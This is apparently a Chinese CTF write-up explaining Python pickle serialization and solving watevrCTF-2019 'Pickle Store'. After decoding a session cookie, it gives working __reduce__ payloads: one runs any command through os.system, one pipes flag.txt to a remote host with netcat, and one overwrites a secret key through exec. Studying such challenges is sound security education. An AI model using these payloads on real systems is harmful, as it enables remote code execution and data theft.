从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
其本质是Pickling将Python对象层次结构转换为字节流的过程, unpickling是反向操作,从而将字节流(来自二进制文件或类似字节的对象)转换回对象层次结构。pickle模块对于错误或恶意构造的数据是不安全的。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化对象
pickle.dump(obj,file,protocol = None,*,fix_imports = True )
在此处将obj对象的编码pickle编码表示写入到文件对象中
pickle反序列化对象
pickle.load(file)
关于cPickle
cPickle可以对任意一种类型的python对象进行序列化操作,比如list,dict,甚至是一个类的对象等。
关于pickle与cpickle的关系:cPickle – A faster pickle。
序列化:
>>> data_string = cPickle.dumps(data) //将python对象序列化保存到一个字符串变量中
反序列化:
>>> data = cPickle.loads(data_string)
一段理解样本:
#coding:utf-8
import pickle
dict1 = dict(name='admin',
age=1000,
sex='?',
addr='japan',
)
# print(dict1)
data_dumps = pickle.dumps(dict1)
print(
data_dumps)
print(type(data_dumps)) # <class 'bytes'>
data = pickle.loads(data_dumps) # 从字节对象中读取被封装的对象,并返回
print(data)
output:
b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x0c\xe5\x85\xab\xe5\xb2\x90\xe5\xa4\xa7\xe8\x9b\x87\x94\x8c\x03age\x94M\xe8\x03\x8c\x03sex\x94\x8c\x03\xef\xbc\x9f\x94\x8c\x04addr\x94\x8c\x05japan\x94u.'
<class 'bytes'>
{'name': 'admin', 'age': 1000, 'sex': '?', 'addr': 'japan'}
关于被序列化的数据的看法:
可以看一下此链接:
https://www.secshi.com/39791.html
[watevrCTF-2019]Pickle Store
这道题里就是python的反序列化了:
截取到session进行解密:
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)
output:
{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}
利用pickle及逆行序列化 poc:
import pickle as cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
poc2:
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc ip xxxx < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))
覆盖密钥
import pickle
key = b'11111111111111111111111111111111'
class A(object):
def __reduce__(self):
return (exec,("global key;key=b'66666666666666666666666666666666'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)